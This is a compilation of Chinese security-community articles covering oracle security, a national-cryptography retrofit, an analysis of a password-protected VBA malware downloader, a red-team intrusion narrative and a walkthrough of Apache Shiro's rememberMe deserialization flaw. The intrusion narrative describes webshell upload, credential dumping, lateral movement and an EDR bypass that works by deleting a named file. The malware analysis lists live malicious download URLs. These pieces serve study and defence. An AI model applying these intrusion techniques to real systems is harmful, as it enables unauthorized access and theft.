预言机在区块链上的典型代表就是以太坊公链上的Oraclize服务。Oraclize独立于区块链系统之外，是一个中心化的第三方，为区块链提供数据访问服务。Oraclize可以提供的数据访问服务包括随机数、URL访问、IPFS等。其架构如下图所示：
假如有用户通过区块链系统购买了飞机延误险，飞机延误后用户发出出险请求，Oraclize可以通过访问智能合约中约定的URL询问一个或若干权威机构，这个机构可能是一个网站的API接口，如果访问结果证明飞机确实延误，则Oraclize在智能合约触发出险赔偿的操作，并通过区块链进行支付。
Oraclize具有很明显的中心化特点，这体现在：
* O- raclize在公链上是单一或若干节点，被认可的节点才会成为Oraclize节点；
* Oraclize的工作状态不受区块链控制，区块链不能保证Oraclize的正确性，但Oraclize会影响区块链的数据；
* 智能合约中约定Oraclize查询一个或若干由参与各方同意的权威机构，该机构返回的数据结果影响智能合约的执行结果。
上述中心化的特性使预言机的安全性问题更加突出。针对Oraclize的安全性问题，启明星辰ADLab在安全研究中挖掘出CVE漏洞并发现攻击事件，并在2018年发表的《以太坊智能合约多个攻击案例分析》详细介绍了这方面的内容。
另一方面，尽管预言机的中心化特性带来了各种问题，坚持对预言机去中心化也是不合乎现实的。从设计上来说，公链不应赋予其上每一个节点以可编程的网络访问的能力，否则由于网络延迟、节点处理速度等各种原因，会导致每个节点获取的数据不同，使区块链的共识机制失效；甚至，智能合约可以被当作发起DDoS的工具。
## 总结与畅想
区块链系统在链上链下数据协同的方面存在很多亟待解决的问题，影响了区块链系统的广泛应用。虽然如此，区块链系统仍适合一些特定场景的使用：
* 适用于联盟链的情景。联盟链仅限于预选的特定成员参加，区块链上的读写权限、记账权限按照联盟规则制定。在“去中心化”特性有所妥协的情况下，预言机运行在联盟链或许是一个可接受的解决方法，这仍需要联盟链上的预言机安全、自主、可控。
* 适用于法定货币上链的情景。如果法定货币被定义为链上的唯一核心资产，将大大减少了线下数据的维度，从而降低预言机的实现难度。当然，法定货币这一核心资产对安全方面显然有更高的要求。
总而言之，区块链的系统的可用性问题是涉及功能实现性的问题，而实现性问题本质是朴素的安全性问题。实现区块链链上链下数据协同是难点也是发展方向，自然也会伴随安全性问题。启明星辰ADLab将针对此问题保持持续关注，助力区块链产业发展。
启明星辰ADLab一直致力于区块链系统的研究，并取得了一定成果：
* 《A Large-Scale Empirical Study on Control Flow Identification of Smart Contracts》Ting Chen, Zihao Li, Yufei zhang, Xiapu Luo, Ting Wang, Teng Hu, Xiuzhuo Xiao, Dong Wang(ADLab of Venuestech), Jin Huang(ADLab of Venustech), Xiaosong Zhang.
* 《智能合约安全分析和审计指南》王艺卓，陈佳林，王鑫(ADLab of Venustech)，何芷珊 电子工业出版社
* * * | 社区文章 |
# 非银支付国密算法改造探索
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、改造背景
早在2012年，工信部和公安部通告了RSA1024算法被破解的风险，为保证金融行业各基础信息系统安全，中国人民银行要求各银行对网上银行等信息系统进行国产密码算法改造。2012年，中国人民银行向多家银行发布了《银行业国产密码应用总体规划》及《总体方案》征求意见稿；同年，人民银行转发了发改委的试点通知并建议网银用户5000万以上的银行参与网银系统国密算法改造试点项目。2014年国务院转发了多部门联合制定的《金融领域密码应用指导意见》（国办发【2014】6号），要求各金融机构5年内完成在网上银行、移动支付、网上证券等重点领域国产密码算法的全面应用。
经过几年的推进，银行业基本完成国密的改造，金融其他行业陆续进行中，近期人行又发布了相关通知，要求非银支付机构2022年10月完成相关国密改造，作者所在公司为非银支付行业，已经开始了完成部分国密改造项，记录此文作为探讨分享，不足指出请多多指教。
## 二、改造要求
人行发布的改造项，强制项为必须改造完成，否则造成监管合规问题，会给公司带来不可预期的后果，改造要求如下：
2.1、已完成：数据原发抗抵赖和数据接收的抗抵赖项，即交易抗抵赖
改造方案架构图：
改造业务调用流程：
改造后的效果（国密SM2算法）
国密改造是个漫长且对业务侵入较大的工作，需要公司多个部门配合，可以由风险与合规部门牵头负责与监管部门沟通，负责上报进度和合规事项确认，架构组和安全团队对技术方案评估评审，讨论出既合规又对业务影响较小的方案，以及后续推进工作，当然也需要厂商的支持。
2.2、敏感信息国密算法存储，即内部系统存储机密性项，作者公司目前正在改造。
如果说CA证书国密改造难度是个小儿科，那敏感信息国密算法存储改造难度就是个大boss，刚开始我以为国密存储改造只要使用国密算法加密完成改造不就完了？事实证明太年轻，由于之前推动完成了公司敏感信息存储项目，所以我单纯的认为国密改造无非就是换个加密算法嘛，于是兴高采烈的拉上架构组开会商讨，让架构组开发一套支持国密算法的sdk，架构组很快完成了，那接下来推动各业务整改呗。按照惯例，在开始推动之前，要找检测机构确认我们的方案是否可行，不能上去就是干啊，于是向监管老师介绍方案，哪知方案还没介绍完，老师得知是软加密的方式，直接当头一棒说你们这方案肯定不行，说数据加密一定要通过硬件加密机和管理秘钥。
因为要用硬加密的方式，按照监管老师的说法，数据加密的动作也要在加密机里完成，这对解密机性能要求和高可用就非常高，因为一个QPS过来，如果牵涉数据查询，关联查询，数据加密，都是对加密机的考验，虽说都是C3/C4的数据，这个量也是很大的，更不用说活动的峰值了。
通过与各个业务、架构、厂商的讨论，认为采用硬件加密机进行数据加密动作风险太高，于是又反复向监管老师确认，能否加密机只做秘钥的管理，加密的动作在应用本地完成。通过多番多方确认，确定可行。
于是出现了以下方案，架构图如下：
到此算是完成了架构方案的设计，部署加密机，封装服务，完成整个项目的30%，接下来推动业务整改，真正的挑战才刚开始。
首先、整改要明确整改范围，一般为监管上报的核心支付相关系统，建议可由风险合规部门确认，其次，要确认有哪些敏感加密字段，大家可以参考《金融数据安全分级指南》敏感数据定义去梳理公司的敏感数据，由于作者之前作为owner推动整改过加密项目，已经梳理过各个系统的敏感字段，所以这部分工作轻松完成。接下来，就是推动各个业务排期改造，此过程最消耗精力，因为各个业务数据调用上下游依赖程度不同，有的直接通过数据库调用，如大数据，TIDB，需要制定不同的推动方案进行区别推动，目前进行中。
## 三、一些感悟
金融作为受强监管的行业，各种合规的改造项目不得不进行，这其中有容易的，也有很难改造的，比如像国密改造项目对业务侵入大，涉及部门多，周期长，改造难度阻力非常大。不过，随着数据安全法，个人信息保护法，以及关基认定的实施，还有滴滴事件的发生，相信各个公司已经越来越重视数据安全，合规安全，大多公司领导的已经改变了重业务，轻安全的认识，使得项目的推动也变得顺利，按时完成。除此同时，建议时刻保持与监管检测机构的紧密沟通，因为最终改造项是否合规，能否通过，由他们进行测评和判定，切勿闭门造车，以免重复劳动。 | 社区文章 |
# 【技术分享】恶意代码分析：绕过Office恶意文档的反分析技术（附演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：ringzerolabs.com
原文地址：<http://www.ringzerolabs.com/2017/08/bypassing-anti-analysis-technique-in.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
在本文中，我们会分析一个带有VBA功能的恶意Word文档。文档的作者对文件中的VBA代码采取了密码保护措施，以避免研究人员检查恶意代码。同时，恶意代码开发者针对密码移除技术也做了相应的防护。自动化分析工具无法处理这一样本，但我们依然可以绕过这些反分析障碍，具体细节如下文所述。
大家可以先观看演示视频从直观上了解分析过程。
**二、样本细节**
****
打开恶意文档后，首先出现在我们眼前的是一则钓鱼信息，声称该文档使用早期版本的Microsoft Office创建，为了查看文档，用户需要启用宏功能。
启用宏后，样本开始往cfai66.fr地址发送信息。
为了了解具体是什么代码负责往法国地址发送信息，我们必须在“开发者”选项卡中查看文档的宏代码。然而，恶意代码作者对VBA代码做了加密处理，不想让我们检查代码。这种情况下，我们难以从Microsoft
Office内部来精确分析VBA脚本。
为了继续分析，我们可以尝试使用常见的十六进制编辑技术去掉Office文件中的密码。首先，我们在文档中搜索“DPB”字符串，将其改为“DPx”。某些版本的Office会把这个信息当成损坏的密码哈希。然而，这种方法对这个文档不起作用，我们仍然会看到密码提示框。
接下来，我们自己创建了一个密码保护的启用VBA功能的文档，然后继续尝试将样本文档中的“CMG”、“DPB”以及“GC”的值替换成我们自己文档中对应的值。不幸的是，恶意文档作者有意对“CMG”的值做了处理，使其超过了这个字段的长度值。因此，尝试替换样本的CMG值再次失败。此外，我们也尝试了在CMG引号内部及外部填充数据以保留文件的长度，但依然以失败告终（如下左图是我们构造的新文档，右图是恶意样本）。
由于我们删除密码的尝试均告失败，接下来我们使用了OfficeMalScanner这个常用的Office产品分析工具来分析这个样本。利用这个工具的扫描（scan）/暴破（brute）功能，但没有得到任何结果。
使用info选项再次运行这个工具，我们得到3个VBA对象：
我们使用了ViperMonkey这个工具来动态分析这些VBA对象。ViperMonkey是个VBA仿真引擎，使用Python语言编写，用于Microsoft
Office文档（如Word、Excel、PowerPoint、Publisher等）中的恶意VBA宏的分析及去混淆。
然而，ViperMonkey无法完整分析这些VBA，原因有两点：
1）无法识别UBound这个VBA函数。
2）无法分析“i = UserForm1.T.Top”这条语句的变量赋值操作，因为该工具无法定位UserForm1.T.Top的值。
看样子我们需要手动分析Module1这个VBA脚本。首先，我们将这个脚本加载到一个新的Word文档中，以便使用内置的VBA调试器对其进行调试。在调试脚本中，我们很快就发现了导致ViperMonkey失效的那段代码。
代码之所以无法运行，是因为Form1无法通过OfficeMalScanner工具导出。只有Form1的元数据被导出，导致Form1.T.Top的值无法找到。这种方法非常好，可以干扰自动化VBA分析工具的处理过程，因为密码保护表单的变量无法被获取到（这也是我所关心的变量）。我们不得不手动跟踪代码，逆向分析使用这个变量的函数，来尝试识别变量所对应的值。
跟踪i=Form1.T.Top的变量赋值过程，我们发现代码最终将i分配给变量T，我们继续跟踪到代码的56行。
fr变量等于T-11，在第60行，Wet变量等于1-fr。
第62行表明，如果Wet=0，那么rd就等于变量rd的字符表现形式。
如果我们按照相反的逻辑处理顺序来分析这几条语句，我们可以得到以下结论：
为了使rd成为一个Char字符，Wet必须等于0：
vb Wet = 0 Wet = 1 - fr(1) = 0 fr = T(12) - 11 = 1 T(12) = i(12) = UserForm1.T.Top(12) UserForm1.T.Top == 12
如果我们将UserForm1.T.Top的值替换为12，然后调试脚本，我们可以看到可读文本会逐渐填充到onearm变量中。我们成功逆向出了VBA的代码逻辑，提取出变量中所保存的批处理文件，如下所示：
这个脚本会从cfai66.fr网站上（我们无法确定这个网站是不是被黑客攻陷的一个无辜网站）下载一个恶意的PNG文件（实际上这是个EXE文件），然后在受害者主机上执行这个文件。这个文件是个通用的木马程序，不属于某个特定的攻击组织。
**三、总结**
****
这个样本是个非常有趣的包含VBA代码的Word文档，使用了密码保护机制以规避被分析的风险。经过若干次删除密码尝试，使用OfficeMalScanner以及ViperMonkey自动化工具对其分析后，我们最终选择了手动方式来逆向分析VBA函数，以寻找导致脚本调试过程失败的那个变量值，最终成功还原了恶意脚本。
**四、附录：样本信息**
****
文件名：efax543254456_2156.doc
保护机制：密码保护的VBA程序
MD5值：30B9491821923A1ECB5D221A028208F2
样本地址：点击[此处](https://www.reverse.it/sample/f756ea3c00d7a3dc3ff1c0224add01e8189375a64fbcd5c97f551d64c80cbdba?environmentId=100)下载样本
样本类型：微软Word VBA下载器
释放的文件：i.bat，npzdi.exe
网络流量：cfai66.fr/parabola.png， cfa-noisylegrand.com/parapola.png
在线分析结果：查看[此链接](https://otx.alienvault.com/pulse/599514487e26f94848cf58a2/)了解更多信息 | 社区文章 |
# 记一次实战攻防(打点-Edr-内网-横向-Vcenter)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前不久参加了一场攻防演练，过程既简单也曲折，最后通过横向渗透获取到了vcenter管理控制台权限，成功拿下本次演练目标。
## 寻找目标
目标分配后，面对大范围的目标，首先要做的就是寻找一些容易获取权限的站点，比如shiro、weblogic以及各类反序列化漏洞。之后再将目标锁定到管理后台，使用爆破等手段寻找一些能进后台的账号密码，然后再去找上传点拿shell。
本次渗透在某站注册页面发现了上传身份证的地方，但是上传后发现无返回路径。
后通过目录扫描，发现了存在目录遍历漏洞，可以看到不同日期上传的文件
http://IP/upload/Attachment/
然后在对上传点测试时发现存在waf，拦截了非法后缀名、文件内容等。对此进行一些常规的修改和测试例如修改Content-Type、修改boundary前加减空格、多个Content-Disposition字段、分块传输、脏字符最终上传成功。
## 获取webshell
找到上传后的木马获取webshell
拿到webshell发现是IIS权限，通过查看进程发现装有杀软和edr
对木马进行免杀上线CS，然后利用CS插件进行提权时发现失败。
然后通过搜集本机的服务发现开放了1433端口，通过查找配置文件发现了数据库连接地址
## 提权system
利用CS开启代理后，登录连接MSSQL数据库，执行命令为system权限
最终利用数据库权限执行CS木马上线获取system权限。
## 绕过edr
通过query user查看管理员用户不在线，利用mimikatz获取管理员密码和hash，搭建socks隧道进入目标机远程桌面，发现存在某edr二次验证
查询网上资料后发现将该文件删除或重命名即可绕过，成功登录服务器
C:Program Files/Sangfor/EDR/agent/bin/sfrdpverify.exe
登录该管理员主机后，发现阿里云盘，通过搜索阿里云盘文件发现大部分为备份文件，在某一最近更新的项目中发现服务器密码本txt，其中记录的账号密码一台服务器为本机服务器，一台为其它服务器
连接密码本中记录的第二台服务器，同时上线CS，有了第二台跳板机后，上传内网扫描工具使用第一台跳板机进行扫描（主要是怕在只有一台跳板机情况下直接扫描容易触发设备告警，造成权限丢失）。同时继续搜集信息，扩大攻击面。
## 突破隔离内网横向
最后发现查看本机记录的mstsc发现可连接新网段机器，同时测试发现只有该服务器可访问
连接该服务器后，继续发现存在套娃服务器xx.xx.xx.7
测试发现均不出网，使用CS的中转功能进行中转跳板机上线
并上传扫描工具对该网段进行扫描，扫描发现该网段存在vcenter管理控制台
## 获取vcenter管理控制权
使用常用的漏洞如CVE-2021-21972、CVE-2021-21985等漏洞进行测试无果后，将目标锁定在该服务器其它端口上，通过全端口扫描发现该服务器还开放41433端口存在MSSQL服务。使用top100弱口令爆破失败后，打算通过搜集拿到的所有服务器、数据库、浏览器等密码进行碰撞。最终运气好碰撞成功，拿到该vcenter服务器权限。
成功登录该vcenter服务器
最终拿下该目标单位约70余台服务器，20台数据存储等。至此，目标单位出局。
## 总结
此次渗透表面看起来丝滑顺畅，实际当中走了不少弯路，尤其是安全防护、安全设备以及蓝队防守人员存在，让打点变得更为困难。同时大量的时间花费在了内网信息搜集上，包括在内网中扫描出不少资产和漏洞，越做越大搜集的信息也越来越多，很容易迷失方向从而会使人变得烦躁，所以在攻防演练中的有限时间内需要根据具体的评分规则进行目的性渗透(刷分)。 | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/EOH_cj5WbSgnxP3auVhXkQ>**
## Apache shiro简介
Apache
Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
本文针对Shiro进行了一个原理性的讲解，从源码层面来分析了Shiro的认证和授权的整个流程，并在认证与授权的这个流程讲解冲，穿插说明rememberme的作用，以及为何该字段会导致反序列化漏洞。
## Apache shiro认证
在该小节中我们将会详细讲解Shiro是如何认证一个用户为合法用户的
Shiro漏洞环境测试代码修改自Vulhub中的CVE-2016-4437。
首先是Shiro的配置文件，代码如下所示
@Configuration
public class ShiroConfig {
@Bean
MainRealm mainRealm() {
return new MainRealm();
}
@Bean
RememberMeManager cookieRememberMeManager() {
return (RememberMeManager)new CookieRememberMeManager();
}
@Bean
SecurityManager securityManager(MainRealm mainRealm, RememberMeManager cookieRememberMeManager) {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm((Realm)mainRealm);
manager.setRememberMeManager(cookieRememberMeManager);
return (SecurityManager)manager;
}
@Bean(name = {"shiroFilter"})
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
//设置登录页面uri
bean.setLoginUrl("/login");
//设置登录失败页面uri
bean.setUnauthorizedUrl("/unauth");
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin", "anon");
map.put("/doLogout", "authc");
map.put("/user/add","perms[user:add]");
map.put("/user/update","perms[user:update]");
map.put("/user/delete","perms[user:delete]");
map.put("/user/select","perms[user:select]");
map.put("/**", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
然后是Controller的代码
@Controller
public class UserController {
@PostMapping({"/doLogin"})
public String doLoginPage(@RequestParam("username") String username, @RequestParam("password") String password, @RequestParam(name = "rememberme", defaultValue = "") String rememberMe) {
Subject subject = SecurityUtils.getSubject();
try {
subject.login(new UsernamePasswordToken(username, password, rememberMe.equals("remember-me")));
} catch (AuthenticationException e) {
return "forward:/login";
}
return "forward:/";
}
@RequestMapping({"/doLogout"})
public String doLogout() {
Subject subject = SecurityUtils.getSubject();
subject.logout();
return "forward:/login";
}
@RequestMapping({"/"})
public String helloPage() {
return "hello";
}
@RequestMapping({"/unauth"})
public String errorPage() {
return "error";
}
@RequestMapping({"/login"})
public String loginPage() {
return "loginUser";
}
@RequestMapping({"/user/add"})
public String add(){
return "/user/add";
};
@RequestMapping({"/user/delete"})
public String delete(){
return "/user/delete";
};
@RequestMapping({"/user/update"})
public String update(){
return "/user/update";
};
@RequestMapping({"/user/select"})
public String select(){
Subject subject = SecurityUtils.getSubject();
return "/user/select";
};
}
最后是Realm
public class MainRealm extends AuthorizingRealm {
@Autowired
UserServiceImpl userService;
/**该方法用来为登陆的用户进行授权*/
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
System.out.println("执行了=>授权doGetAuthorizationInfo");
SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
Subject subject = SecurityUtils.getSubject();
System.out.println(subject.isAuthenticated());
System.out.println(subject.isRemembered());
if(!subject.isAuthenticated()){
return null;
}
Users users = (Users) subject.getPrincipal();
if(users.getPerm()!=null){
String[] prems = users.getPerm().split(";");
info.addStringPermissions(Arrays.asList(prems));
}
return info;
}
/**该方法用来校验登陆的用户*/
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
System.out.println("执行了=>认证doGetAuthenticationInfo");
Subject subject= SecurityUtils.getSubject();
System.out.println(subject.isAuthenticated());
System.out.println(subject.isRemembered());
UsernamePasswordToken usernamePasswordToken = (UsernamePasswordToken) authenticationToken;
String username = usernamePasswordToken.getUsername();
char[] password = usernamePasswordToken.getPassword();
Users users = userService.queryUserByName(username);
if (users.getUsername()==null){
return null;
}
return new SimpleAuthenticationInfo(users,users.getPassword(),"");
}
}
这里来看一下自定义的MainRealm的类继承和实现关系图
Realm所起到的作用通常是获取后台用户的相关信息，然后获取前端传递进来的用户信息，将二者封装好然后交由shiro进行认证比对从而判断用户是否为合法用户，然后在用户访问后台资源时，为用户授予指定好的权限。
那么认证是怎么认证的呢？下面来从Shiro源码的角度来进行详细的分析。
首先是登陆页面，和登陆页面的代码。
当点击Singn in按钮的时候 后台对应的Controller就会执行
但是在执行到Controller之前，Shiro会进行一个操作，如下所示
首先就是Shiro的Filter，在Shiro的配置文件中，通过@Bean注解让SpringBoot在启动的时候自动装配了当前方法的返回值，也就是一个ShiroFilterFactoryBean对象，该对象的类继承关系如下所示。
该类实现了SpringFrameWork中的FactoryBean接口和BeanPostProcessor接口。SpringBoot在启动的时候会扫描当前目录以及子目录下所有.java文件的注解，然后进行装配，这一过程中就会调用FactoryBean.getObject()方法。也就是FactoryBean的实现类ShiroFilterFactoryBean.getObject()方法，
在shiroFilter的执行的堆栈中，会创建一个Subject，Subject是Shiro中很重要的一个概念，简单来说就是当前所操作的用户。当前线程中的用户所进行的认证和授权等等操作，都会以操作这个Subject对象来进行，所以Subject也被称之为主体，最终实例化的是一个WebDelegatingSubject对象。
请求继续往下执行，来到UserController.doLoginPage()方法，该方法中会调用Subject.login()方法，并传入一个UsernamePasswordToken
对象。这个UsernamePasswordToken从这个类的名字我们就可以猜出这个类是用来做什么的，跟进该类中看一下
从这个类提供的方法和属性就可以看出来，UsernamePasswordToken类就是一个单纯的pojo类，登陆时的用户名和密码以及对应的ip信息都会在这个类中暂时存放。
跟进Subject.login()方法，经过一系列的调用来到了ModularRealmAuthenticator.doAuthenticate，该方法会获取我们自定义的Realm并一次进行调用，我们自定义的Realm是文章开头的MainRealm，所谓的Realm，就是对传入的用户进行认证和授权的地方，Realm的自定义需要继承自AuthorizingRealm，Realm我们可以自定义多个，只需要将自定义好的多个Realm放入一个Collection对象中，然后在配置文件中通过SecurityManager.setRealms()传入，这样在Shiro在认证时就会依次调用我们自定义的Realms，Shiro本身也自带有一些Reamls可以直接调用，如下图所示
自定义的Realm有两个方法必须要实现，分别是继承自AuthencationgRealm的doGetAuthenticationInfo()方法，和AuthorizingRealm的doGetAuthorizationInfo方法，如下图所示
下面根据程序执行流程，先讲doGetAuthenticationInfo，根据之前所讲调用subject.login()方法时会调用到我们自定义的Realm的doGetAuthenticationInfo方法，我们在该方法中的实现非常简单，即从后台数据库中根据用户名进行查询用户是否存在，如果存在则将查询出来的数据封装成Users对象，然后将封装好的Users对象传入和查询出的该用户的密码一同传入SimpleAuthenticationInfo类构造方法中并进行返回。
这一步说是用来进行用户的认证，但是不难发现，该方法中并没有对用户的密码进行校验，那么真正的校验点在哪里呢，在如下图所示的位置
在AuthenticatingRealm的getAuthenticationInfo方法中不仅调用了我们自定义的MainRealm中的doGetAuthenticationInfo方法，还调用了自身的assertCredentialsMatch方法，如下图所示，而assertCredentialsMatch方法就是用来校验前端传递来的用户名和密码，以及后台从数据库查询出的密码进行比对的。
在assertCredentialsMatch方法中跟如cm.doCredentialsMatch(token,
info)，然后就可以看到shiro如何进行用户密码比对的了。
token是前端传入的用户名和密码封装成的UsernamePasswordToken对象，info是从数据库中查询出的数据封装成的SimpleAuthenticationInfo对象，如此一来，获取二者的密码，进行equals比对，相同则程序继续执行，不相同则抛出异常，返回登陆界面。
那么Shiro认证到这里就结束了么？当然不是，之前提到过，Shiro中有一个概念叫Subject，Subject代表的就是用户当前操作的主体，在这第一次登陆认证中我们也是通过调用了一个Subject对象的login方法才进行的身份验证，但是在这个Subject中是没有任何的用户信息的，当用户的信息通过校验之后，Shiro又会实例化一个WebDelegatingSubject，而这个位置就在DefaultSecurityManager的login方法中，如下图所示
我们之前看到的认证过程就在authenticate方法里，身份真正成功后会返回用户的信息，封装在一个SimplePrincipalCollection对象里，如果认证失败，则会抛出异常。
认证成功后，Shiro就会根据当前用户的一些信息，再创建一个Subject，后续该用户进行的任何操作都会以这个Subject为主，授权也是Shiro给这个Subject进行授权。
如此以来我们就了解了Shiro是如何认证一个用户的，下面来总结一下Shiro认证用户的一个思路，首先在用户没有进行认证的时候访问一些资源，Shiro会生成一个Subject，这个Subject没有任何的用户信息。当用户开始登陆，Shiro会调用Subject的login方法，对用户的用户名和密码进行校验，校验通过后，会生成一个新的Subject，后续用户的授权等操作，都会基于这个新生成的Subject。
## Apache Shiro授权
看完了Shiro的认证过程，接下来我们来看Shiro的授权过程。
我们将每位用户所拥有的授权都存入数据库中如下所示
这里以admin为例，来分析下Shiro授权的过程。
书接上文Shiro认证部分，认证完成功Shiro会生成一个新的Subject，而shiro的授权过程也就是围绕着这个Subject来进行的，那么Shiro何时会为用户进行授权行为呢？
在之前的内容中说过，自定义的Realm有两个方法必须要实现，分别是继承自AuthencationgRealm的doGetAuthenticationInfo()方法，和AuthorizingRealm的doGetAuthorizationInfo方法。
doGetAuthenticationInfo()方法我们已经清楚了，是用来进行用户身份验证的，而doGetAuthorizationInfo()方法就是用来进行用户授权的。
再回顾一下之前的配置文件中我们为每个资源所授予的访问权限，权限如下所示。
@Bean(name = {"shiroFilter"})
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
bean.setLoginUrl("/login");
bean.setUnauthorizedUrl("/unauth");
/**
* anon:无需认证就可以访问
* authc: 必须认证了才能访问
* user: 必须拥有记住我功能才能访问
* perms: 拥有对某个资源的权限才能访问
* role: 拥有某个角色权限才能访问
* */
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin", "anon");
map.put("/doLogout", "authc");
map.put("/user/add","perms[user:add]");
map.put("/user/update","perms[user:update]");
map.put("/user/delete","perms[user:delete]");
map.put("/user/select","perms[user:select]");
map.put("/**", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
我们在doGetAuthorizationInfo()方法中下断点，当已经经过认证的用户访问制定资源的时候，shiro就会调用doGetAuthorizationInfo()方法来为该用户进行授权，具体怎么执行到该方法的就不细说了，将调用链粘贴一下。
doGetAuthorizationInfo()方法的具体实现如下所示
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
String name = getName();
System.out.println("执行了=>授权doGetAuthorizationInfo");
SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
//获取当前用户的subject
Subject subject = SecurityUtils.getSubject();
System.out.println(subject.isAuthenticated());
System.out.println(subject.isRemembered());
if(!subject.isAuthenticated()){
return null;
}
// Users users = userService.queryUserByName((String) subject.getPrincipal());
//
//获取当前用户的信息
Users users = (Users) subject.getPrincipal();
//判断当前用户的权限字段是否为空，如果不为空的话就传入SimpleAuthorizationInfo的addStringPermissions方法中。
if(users.getPerm()!=null){
String[] prems = users.getPerm().split(";");
info.addStringPermissions(Arrays.asList(prems));
}
return info;
}
之前在认证的那一步中，我们将数据库中的数据封装成一个Users对象，该对象存放入了Subject中，doGetAuthorizationInfo()方法中我们将其取出。
在该方法中，我们所做的只是将用户数据库中的权限字段取出然后封装入一个SimpleAuthorizationInfo对象中，并进行返回，我们跟随看一下Shiro后续的操作。
在获取完当前用户的权限后，堆栈返回到AuthorizingRealm的isPermitted方法中，该方法又调用了isPermitted()方法，isPermitted()方法就是用来判断用户是否有权限访问指定资源的方法。
isPermitted()方法具体内容如下所示
该方法会讲用户所拥有的权限循环遍历出来，然后和当前资源所需要访问权限进行一一比对，如果相同则返回true。那么比对规则是怎样的呢？
跟进implies()方法，内容如下所示
这里简述一下比对的规则，当前资源所需的访问权限[user:add]，对于shiro来说所谓的访问权限不过就是一串字符串而已，shiro会将[user:add]以“:”进行分割，分割成user和add两个字符串，而假如用户具有[user:add],和[user:select]这两个权限，第一次循环就是判断[user:select]和[user:add]是否相同，会首先判断“:”之前的字符串是否相同，也就是user这部分是否相同，相同则继续，不相同则返回false。判断相同以后，会第二次循环判断“:”之后的部分是否相同，也就是add和select。那自然是不相同的，所以返回false。shiro接下来会继续判断[user:add]和[user:add]是否相同。
这就是shiro授权和鉴权的代码流程，也是shiro的核心。了解了shiro的这部分内容之后，我们接下来就该讲CVE-2016-4437这个漏洞的具体内容了。
## Apahce Shiro反序列化漏洞的根源
shiro在用户登陆的时候，除了用户名和密码以外 还有一个可传递的选项，也就是shiro发序列化漏洞产生的根源，Rememberme。
Rememberme的核心作用时什么呢？就是用户在登录时勾选rememberme选项，Cookie中就会增加一个rememberme字段，该字段中会存储一些序列化数据，开发者可以指定rememberme字段的有效时间，同时开发者可以指定一些资源，这些资源允许携带rememberme字段的用户访问，由于rememberme是存储在浏览器中的，并在用户的每一次请求中被携带，所以只要不清除Cookie，用户就可以在rememberme的有效时间内，无需再次登陆，就可以访问指定资源。在不勾选rememberme的情况下，通常就是浏览器关闭，会话就会立刻结束，活着等待一段时间后结束，届时用户想要访问一些资源则需要重新登陆，勾选rememberme后，即使推出浏览器结束与服务端的会话，rememberme仍然存储在浏览器中，重新打开浏览器访问指定资源，浏览器在请求时仍会携带上rememberme，如此一来就不需要重新登陆了。
那么接下来就来分析rememberme是如何生成，以及如何实现无需登录即可访问指定资源的。
如果登陆的时候不勾选rememberme选项的情况下，Shiro是不会生成rememberme的，勾选了rememberme选项后，才会在认证的过程中生成该值。
生成rememberme的位置在DefaultSecurityManager的login方法中，如下图所示。
位置就是在Shiro完成用户认证，生成一个新的Subject之后。跟进onSuccessfulLogin()方法，经过嵌套调用，来到AbstractRememberMeManager的onSuccessfulLogin方法，
在该方法中，会先判断此次请求中remebmberme字段是否存在，如果存在则调用rememberIdentity()方法，想要知道rememberme中存储了什么东西那么就要继续深入。
这里是获取到了一个PrincipalCollection对象，继续深入。
接下来就是将这个PrincipalCollection转化成byte数组。这个方法很关键，我们需要跟入看一下
看到这里大家应该就明白了，Shiro为什么会有反序列化漏洞，以及rememberme所传递的数据就究竟是什么，其实就是一个序列化后的PrincipalCollection对象，而这个encrypt就是通过AES来加密序列化后的数据，密钥呢？当然就是硬编码在AbstractRememberMeManager类中的这段base64编码后的字符串了，如下图所示
最后的最后，Shiro会将这段加密后的数据base64编码一遍，然后放入Cookie中，至此Shiro生成rememberme的过程就结束了
那么知道了rememberme是怎么加密生成的，那么自然也就可以很轻易的解密了，尤其还是在密钥硬编码在代码中的这种情况，下面是解密的demo
那么反序列化漏洞产生的点在哪里呢？当用户在登录时勾选了rememberme的时候，Shiro会返回一个rememberme通过Cookie字段传递，然后存储在浏览器中，正常情况下当用户关闭浏览器或者手动删除浏览器中存储的SesseionID的时候，与服务端的当前会话就结束了，当下次打开浏览器再此访问服务端的时候，就需要重新登录。而勾选了rememberme的用户登录后，关闭浏览器后，会话同样会关闭，但是下次打开浏览器请求访问服务端的时候，Cookie中会携带Rememberme来进行请求，从而达到无需登录的效果。
漏洞的产生关键就在于再重新建立会话的这个过程，所以想要触发rememberme的话请求包中就不能有SessionID,删除SessionID后再携带rememberme进行一次请求就可以触发rememberme的反序列化点，如下图所示
最终通过base64解码，然后AES解密，解密后的结果再经过反序列化，就还原成了一个PrincipalCollection对象，至此Shiro
rememberme的生成以及作用，还有如何触发rememberme反序列化，都已讲解完毕。
